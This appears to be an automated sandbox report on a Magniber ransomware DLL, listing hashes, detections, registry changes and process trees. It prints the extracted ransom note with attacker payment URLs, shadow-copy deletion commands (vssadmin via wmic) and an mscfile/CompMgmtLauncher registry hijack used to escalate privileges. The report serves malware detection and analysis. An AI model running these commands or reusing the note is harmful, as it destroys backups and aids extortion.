magniber | f104ab345da41762fa5a07302859289e162fe197c2b1270f8f5d12354a670b5e

Analysis

max time kernel
118s
max time network
120s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
15-04-2024 20:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f1d9097da5a25704b82246e6a1530237_JaffaCakes118.dll
Size

38KB
MD5

f1d9097da5a25704b82246e6a1530237
SHA1

1a21d31df7941616cf6e2e3c7b790b2096ce3b4e
SHA256

f104ab345da41762fa5a07302859289e162fe197c2b1270f8f5d12354a670b5e
SHA512

d5f4ea9ad04dc7472c9ed1db54ff2ec570c89c53ea8374bf7da19f27ada0d7c766af457f953896d7fc62046d00a6df7a62d71ae36982b6939d75c34d2c6ae96d
SSDEEP

768:1Czs1U46clW4VbXoTS22idEzKfu/m+SyNtLrSSAcLCjXUZdr:eqsclW494TSr8EzKG/NdroU

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Pictures\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://da68cc1016a8b8d0a8inacxat.nvnt3l2aee6eejcmzq3w72d4dnkmeemljh5qroq2lrr2spgtnqpxdgad.onion/inacxat Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://da68cc1016a8b8d0a8inacxat.riddare.quest/inacxat http://da68cc1016a8b8d0a8inacxat.buyhas.space/inacxat http://da68cc1016a8b8d0a8inacxat.owedbad.uno/inacxat http://da68cc1016a8b8d0a8inacxat.tillnor.monster/inacxat Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://da68cc1016a8b8d0a8inacxat.nvnt3l2aee6eejcmzq3w72d4dnkmeemljh5qroq2lrr2spgtnqpxdgad.onion/inacxat

http://da68cc1016a8b8d0a8inacxat.riddare.quest/inacxat

http://da68cc1016a8b8d0a8inacxat.buyhas.space/inacxat

http://da68cc1016a8b8d0a8inacxat.owedbad.uno/inacxat

http://da68cc1016a8b8d0a8inacxat.tillnor.monster/inacxat

Signatures

Detect magniber ransomware 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1724-4-0x0000000001C50000-0x0000000002515000-memory.dmp	family_magniber
behavioral1/memory/1096-15-0x0000000001BC0000-0x0000000001BC5000-memory.dmp	family_magniber

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 12 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exevssadmin.exevssadmin.exevssadmin.execmd.exevssadmin.exevssadmin.execmd.exevssadmin.execmd.exevssadmin.exevssadmin.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2536	2568	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2120	2568	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2480	2568	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	576	2568	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1900	2568	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	820	2568	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2052	2568	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2300	2568	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1080	2568	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2860	2568	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1416	2568	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2476	2568	vssadmin.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (71) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Suspicious use of SetThreadContext 4 IoCs

Processes:

rundll32.exe

description	pid	process	target process
PID 1724 set thread context of 1096	1724	rundll32.exe	taskhost.exe
PID 1724 set thread context of 1160	1724	rundll32.exe	Dwm.exe
PID 1724 set thread context of 1188	1724	rundll32.exe	Explorer.EXE
PID 1724 set thread context of 1800	1724	rundll32.exe	DllHost.exe

Interacts with shadow copies 2 TTPs 8 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid process

2476 vssadmin.exe
2120 vssadmin.exe
2480 vssadmin.exe
576 vssadmin.exe
820 vssadmin.exe
2052 vssadmin.exe
1080 vssadmin.exe
1416 vssadmin.exe

pid	process
2476	vssadmin.exe
2120	vssadmin.exe
2480	vssadmin.exe
576	vssadmin.exe
820	vssadmin.exe
2052	vssadmin.exe
1080	vssadmin.exe
1416	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000000c12c25e2ddfb54dbf19c8710c23067700000000020000000000106600000001000020000000782460ef58d2e40f1d1c58cd2660f586c86eb576cfb82f750246ad52142dc48d000000000e8000000002000020000000690d81155d4917e8677c196c1a903cc9d076746a4eec1e4c7e467a576711ac542000000048672a5b41b8fc5c9ccd2cb1b57e906af5aed24b6894919b663143d776162ae9400000008deffe204754a40591b9156426395dfa3400f8c5d807cdf3aa616ca184f9ab2047d322f595f11847c733fb477dd3f696550791532506415223d3bf7105bb3ead	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{0FAE5F91-FB66-11EE-B726-EAAAC4CFEF2E} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 302ecae4728fda01	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000000c12c25e2ddfb54dbf19c8710c23067700000000020000000000106600000001000020000000e4d5b4244a7bd2f9326a17aab26d79c95d1f0067dec842ca71714d2f78bd7a75000000000e800000000200002000000076a68015f1e4356a64ede01ecc9aa73f58a7e289aa0c4b2a0e3fc22102364bf690000000f054147e0d3dff2cf571b6c107210f17b11acb73f8d19900a7b7a27ec2a5bbddff374a3278fe49eaa619d88f236f7ff14c69107937452166eee0fa359f853e0d64e97926c5b2c0ee029760dc7b39258f159927f338f921e3a37b08ec8fc6e5205638dbfbee662cf3814d39de74adf2e61c68d5917922d9971cb0d01bdbf9a9c413138b54c27150e09910827e94a3e413400000000c6d6be57ec0808f9245872feaae6d97ac697ec5cea8057677555829cbd42528a783fb471546267d9746d63425eb3308155f25eed533b79253bc4ead193f525e	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "419374495"	iexplore.exe

Modifies registry class 11 IoCs

Processes:

rundll32.exeDwm.exeExplorer.EXEtaskhost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000_CLASSES\mscfile\shell	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000_CLASSES\mscfile\shell\open	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000_CLASSES\mscfile	Explorer.EXE

Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

912 notepad.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exe

pid process

1724 rundll32.exe
1724 rundll32.exe
Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

rundll32.exe

pid process

1724 rundll32.exe
1724 rundll32.exe
1724 rundll32.exe
1724 rundll32.exe

pid	process
912	notepad.exe

pid	process
1724	rundll32.exe
1724	rundll32.exe

pid	process
1724	rundll32.exe
1724	rundll32.exe
1724	rundll32.exe
1724	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXEwmic.exeWMIC.exe

description	pid	process
Token: SeShutdownPrivilege	1188	Explorer.EXE
Token: SeShutdownPrivilege	1188	Explorer.EXE
Token: SeShutdownPrivilege	1188	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	2804	wmic.exe
Token: SeSecurityPrivilege	2804	wmic.exe
Token: SeTakeOwnershipPrivilege	2804	wmic.exe
Token: SeLoadDriverPrivilege	2804	wmic.exe
Token: SeSystemProfilePrivilege	2804	wmic.exe
Token: SeSystemtimePrivilege	2804	wmic.exe
Token: SeProfSingleProcessPrivilege	2804	wmic.exe
Token: SeIncBasePriorityPrivilege	2804	wmic.exe
Token: SeCreatePagefilePrivilege	2804	wmic.exe
Token: SeBackupPrivilege	2804	wmic.exe
Token: SeRestorePrivilege	2804	wmic.exe
Token: SeShutdownPrivilege	2804	wmic.exe
Token: SeDebugPrivilege	2804	wmic.exe
Token: SeSystemEnvironmentPrivilege	2804	wmic.exe
Token: SeRemoteShutdownPrivilege	2804	wmic.exe
Token: SeUndockPrivilege	2804	wmic.exe
Token: SeManageVolumePrivilege	2804	wmic.exe
Token: 33	2804	wmic.exe
Token: 34	2804	wmic.exe
Token: 35	2804	wmic.exe
Token: SeIncreaseQuotaPrivilege	2156	WMIC.exe
Token: SeSecurityPrivilege	2156	WMIC.exe
Token: SeTakeOwnershipPrivilege	2156	WMIC.exe
Token: SeLoadDriverPrivilege	2156	WMIC.exe
Token: SeSystemProfilePrivilege	2156	WMIC.exe
Token: SeSystemtimePrivilege	2156	WMIC.exe
Token: SeProfSingleProcessPrivilege	2156	WMIC.exe
Token: SeIncBasePriorityPrivilege	2156	WMIC.exe
Token: SeCreatePagefilePrivilege	2156	WMIC.exe
Token: SeBackupPrivilege	2156	WMIC.exe
Token: SeRestorePrivilege	2156	WMIC.exe
Token: SeShutdownPrivilege	2156	WMIC.exe
Token: SeDebugPrivilege	2156	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2156	WMIC.exe
Token: SeRemoteShutdownPrivilege	2156	WMIC.exe
Token: SeUndockPrivilege	2156	WMIC.exe
Token: SeManageVolumePrivilege	2156	WMIC.exe
Token: 33	2156	WMIC.exe
Token: 34	2156	WMIC.exe
Token: 35	2156	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2156	WMIC.exe
Token: SeSecurityPrivilege	2156	WMIC.exe
Token: SeTakeOwnershipPrivilege	2156	WMIC.exe
Token: SeLoadDriverPrivilege	2156	WMIC.exe
Token: SeSystemProfilePrivilege	2156	WMIC.exe
Token: SeSystemtimePrivilege	2156	WMIC.exe
Token: SeProfSingleProcessPrivilege	2156	WMIC.exe
Token: SeIncBasePriorityPrivilege	2156	WMIC.exe
Token: SeCreatePagefilePrivilege	2156	WMIC.exe
Token: SeBackupPrivilege	2156	WMIC.exe
Token: SeRestorePrivilege	2156	WMIC.exe
Token: SeShutdownPrivilege	2156	WMIC.exe
Token: SeDebugPrivilege	2156	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2156	WMIC.exe
Token: SeRemoteShutdownPrivilege	2156	WMIC.exe
Token: SeUndockPrivilege	2156	WMIC.exe
Token: SeManageVolumePrivilege	2156	WMIC.exe
Token: 33	2156	WMIC.exe
Token: 34	2156	WMIC.exe
Token: 35	2156	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2804	wmic.exe

Suspicious use of FindShellTrayWindow 7 IoCs

Processes:

iexplore.exeExplorer.EXE

pid process

2016 iexplore.exe
1188 Explorer.EXE
1188 Explorer.EXE
1188 Explorer.EXE
1188 Explorer.EXE
1188 Explorer.EXE
1188 Explorer.EXE
Suspicious use of SendNotifyMessage 2 IoCs

Processes:

Explorer.EXE

pid process

1188 Explorer.EXE
1188 Explorer.EXE
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

2016 iexplore.exe
2016 iexplore.exe
2580 IEXPLORE.EXE
2580 IEXPLORE.EXE
2580 IEXPLORE.EXE
2580 IEXPLORE.EXE
Suspicious use of UnmapMainImage 1 IoCs

Processes:

Explorer.EXE

pid process

1188 Explorer.EXE

pid	process
2016	iexplore.exe
1188	Explorer.EXE
1188	Explorer.EXE
1188	Explorer.EXE
1188	Explorer.EXE
1188	Explorer.EXE
1188	Explorer.EXE

pid	process
1188	Explorer.EXE
1188	Explorer.EXE

pid	process
2016	iexplore.exe
2016	iexplore.exe
2580	IEXPLORE.EXE
2580	IEXPLORE.EXE
2580	IEXPLORE.EXE
2580	IEXPLORE.EXE

pid	process
1188	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Explorer.EXEcmd.execmd.execmd.exeiexplore.exeCompMgmtLauncher.exetaskhost.execmd.execmd.exeCompMgmtLauncher.exerundll32.execmd.execmd.exeCompMgmtLauncher.exeDwm.exe

description	pid	process	target process
PID 1188 wrote to memory of 912	1188	Explorer.EXE	notepad.exe
PID 1188 wrote to memory of 912	1188	Explorer.EXE	notepad.exe
PID 1188 wrote to memory of 912	1188	Explorer.EXE	notepad.exe
PID 1188 wrote to memory of 1952	1188	Explorer.EXE	cmd.exe
PID 1188 wrote to memory of 1952	1188	Explorer.EXE	cmd.exe
PID 1188 wrote to memory of 1952	1188	Explorer.EXE	cmd.exe
PID 1188 wrote to memory of 2804	1188	Explorer.EXE	wmic.exe
PID 1188 wrote to memory of 2804	1188	Explorer.EXE	wmic.exe
PID 1188 wrote to memory of 2804	1188	Explorer.EXE	wmic.exe
PID 1188 wrote to memory of 1784	1188	Explorer.EXE	cmd.exe
PID 1188 wrote to memory of 1784	1188	Explorer.EXE	cmd.exe
PID 1188 wrote to memory of 1784	1188	Explorer.EXE	cmd.exe
PID 1784 wrote to memory of 2156	1784	cmd.exe	WMIC.exe
PID 1784 wrote to memory of 2156	1784	cmd.exe	WMIC.exe
PID 1784 wrote to memory of 2156	1784	cmd.exe	WMIC.exe
PID 1952 wrote to memory of 2016	1952	cmd.exe	iexplore.exe
PID 1952 wrote to memory of 2016	1952	cmd.exe	iexplore.exe
PID 1952 wrote to memory of 2016	1952	cmd.exe	iexplore.exe
PID 2536 wrote to memory of 2592	2536	cmd.exe	CompMgmtLauncher.exe
PID 2536 wrote to memory of 2592	2536	cmd.exe	CompMgmtLauncher.exe
PID 2536 wrote to memory of 2592	2536	cmd.exe	CompMgmtLauncher.exe
PID 2016 wrote to memory of 2580	2016	iexplore.exe	IEXPLORE.EXE
PID 2016 wrote to memory of 2580	2016	iexplore.exe	IEXPLORE.EXE
PID 2016 wrote to memory of 2580	2016	iexplore.exe	IEXPLORE.EXE
PID 2016 wrote to memory of 2580	2016	iexplore.exe	IEXPLORE.EXE
PID 2592 wrote to memory of 2428	2592	CompMgmtLauncher.exe	wmic.exe
PID 2592 wrote to memory of 2428	2592	CompMgmtLauncher.exe	wmic.exe
PID 2592 wrote to memory of 2428	2592	CompMgmtLauncher.exe	wmic.exe
PID 1096 wrote to memory of 748	1096	taskhost.exe	wmic.exe
PID 1096 wrote to memory of 748	1096	taskhost.exe	wmic.exe
PID 1096 wrote to memory of 748	1096	taskhost.exe	wmic.exe
PID 1096 wrote to memory of 204	1096	taskhost.exe	cmd.exe
PID 1096 wrote to memory of 204	1096	taskhost.exe	cmd.exe
PID 1096 wrote to memory of 204	1096	taskhost.exe	cmd.exe
PID 204 wrote to memory of 1612	204	cmd.exe	WMIC.exe
PID 204 wrote to memory of 1612	204	cmd.exe	WMIC.exe
PID 204 wrote to memory of 1612	204	cmd.exe	WMIC.exe
PID 1900 wrote to memory of 832	1900	cmd.exe	CompMgmtLauncher.exe
PID 1900 wrote to memory of 832	1900	cmd.exe	CompMgmtLauncher.exe
PID 1900 wrote to memory of 832	1900	cmd.exe	CompMgmtLauncher.exe
PID 832 wrote to memory of 1500	832	CompMgmtLauncher.exe	wmic.exe
PID 832 wrote to memory of 1500	832	CompMgmtLauncher.exe	wmic.exe
PID 832 wrote to memory of 1500	832	CompMgmtLauncher.exe	wmic.exe
PID 1724 wrote to memory of 2808	1724	rundll32.exe	wmic.exe
PID 1724 wrote to memory of 2808	1724	rundll32.exe	wmic.exe
PID 1724 wrote to memory of 2808	1724	rundll32.exe	wmic.exe
PID 1724 wrote to memory of 1764	1724	rundll32.exe	cmd.exe
PID 1724 wrote to memory of 1764	1724	rundll32.exe	cmd.exe
PID 1724 wrote to memory of 1764	1724	rundll32.exe	cmd.exe
PID 1764 wrote to memory of 1128	1764	cmd.exe	WMIC.exe
PID 1764 wrote to memory of 1128	1764	cmd.exe	WMIC.exe
PID 1764 wrote to memory of 1128	1764	cmd.exe	WMIC.exe
PID 2300 wrote to memory of 1484	2300	cmd.exe	CompMgmtLauncher.exe
PID 2300 wrote to memory of 1484	2300	cmd.exe	CompMgmtLauncher.exe
PID 2300 wrote to memory of 1484	2300	cmd.exe	CompMgmtLauncher.exe
PID 1484 wrote to memory of 1384	1484	CompMgmtLauncher.exe	wmic.exe
PID 1484 wrote to memory of 1384	1484	CompMgmtLauncher.exe	wmic.exe
PID 1484 wrote to memory of 1384	1484	CompMgmtLauncher.exe	wmic.exe
PID 1160 wrote to memory of 2316	1160	Dwm.exe	wmic.exe
PID 1160 wrote to memory of 2316	1160	Dwm.exe	wmic.exe
PID 1160 wrote to memory of 2316	1160	Dwm.exe	wmic.exe
PID 1160 wrote to memory of 1868	1160	Dwm.exe	cmd.exe
PID 1160 wrote to memory of 1868	1160	Dwm.exe	cmd.exe
PID 1160 wrote to memory of 1868	1160	Dwm.exe	cmd.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1096
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:748
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:204
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1612

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1160
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2316
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:1868
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2156

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:1188
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\f1d9097da5a25704b82246e6a1530237_JaffaCakes118.dll,#1
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:1724
- - C:\Windows\system32\wbem\wmic.exe
    C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2808
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1764
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:1128
- C:\Windows\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:912
- C:\Windows\system32\cmd.exe
  cmd /c "start http://da68cc1016a8b8d0a8inacxat.riddare.quest/inacxat^&2^&35727401^&71^&339^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1952
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://da68cc1016a8b8d0a8inacxat.riddare.quest/inacxat&2&35727401&71&339&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2016
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2016 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2580
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2804
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1784
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2156

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1800

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2536
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2592
- - C:\Windows\system32\wbem\wmic.exe
